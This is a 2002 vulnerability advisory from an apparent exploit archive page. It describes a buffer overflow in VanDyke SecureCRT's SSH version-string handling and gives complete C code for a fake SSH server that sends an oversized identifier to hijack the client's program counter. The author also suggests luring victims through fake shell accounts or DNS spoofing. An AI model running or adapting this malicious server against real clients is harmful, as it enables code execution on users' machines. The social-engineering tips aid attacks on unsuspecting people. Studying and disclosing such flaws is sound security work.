exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

vandyke.SecureCRT.txt

vandyke.SecureCRT.txt
Posted Jul 24, 2002
Authored by Kyuzo

A buffer overflow found in VanDyke SecureCRT v3.4 & 4.0 beta allows malicious server owners to execute code on systems running this software.

tags | overflow
SHA-256 | cb3b1d24a9ff87e3e05d59f562932d35f8b8b325d39643420d95ce5899443046

vandyke.SecureCRT.txt

Change Mirror Download

SecureCRT (http://www.vandyke.com/products/securecrt/) seems to have a bug in a
seemlingly trivial portion of its SSH connection code. When an SSH Client
connects to a server, the server sends a version string containing minor and
major numbers for the protocol, as well as a server-specific identifier string
which is specified to be no more than 40 bytes long. Unfortunetly the SecureCRT
code which handles errors relating to an unsupported protocol version contains
an unchecked buffer overflow when dealing with this identifier string.

The following C code is given to reproduce this bug (yes I know Perl would have
been shorter, sorry):

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define PORT 9988

int main(int argc, char **argv) {
int s, n, i, sz = sizeof(struct sockaddr_in);
struct sockaddr_in local, whatever;
char payload[510];

strcpy(payload, "SSH-1.1-");
for (i = 8; i < 508; i++)
payload[i] = 'A';
payload[508] = '\n';
payload[509] = '\0';

if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
return 1;
}
local.sin_family = AF_INET;
local.sin_port = htons(PORT);
local.sin_addr.s_addr = INADDR_ANY;
memset(&(local.sin_zero), 0, 8);
if (bind(s, (struct sockaddr *)&local, sizeof(struct sockaddr)) == -1) {
perror("bind");
return 1;
}
if (listen(s, 2) == -1) {
perror("listen");
return 1;
}
printf("waiting for connection...\n");
if ((n = accept(s, (struct sockaddr *)&whatever, &sz)) == -1) {
perror("accept");
return 1;
}
printf("client connected\n");
if (send(n, payload, sizeof(payload) - 1, 0) == -1) {
perror("send");
return 1;
}
printf("sent string: [%s]\n", payload);
close(n);
close(s);
return 0;
}

After starting the (fake) server, run the SecureCRT client, attach a debugger
and connect. Notice the value of PC is now 0x41414141...coincidence?

There are a number of ways to trick people into connecting to your ssh server,
i.e. telling them you've given them an account on your shell, dns spoofing etc.

Big shout-out to Lagow, Biggie Smalls (up in heaven),
Gweeds, & the whole Mr. Mittens crew

- Kyuzo
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close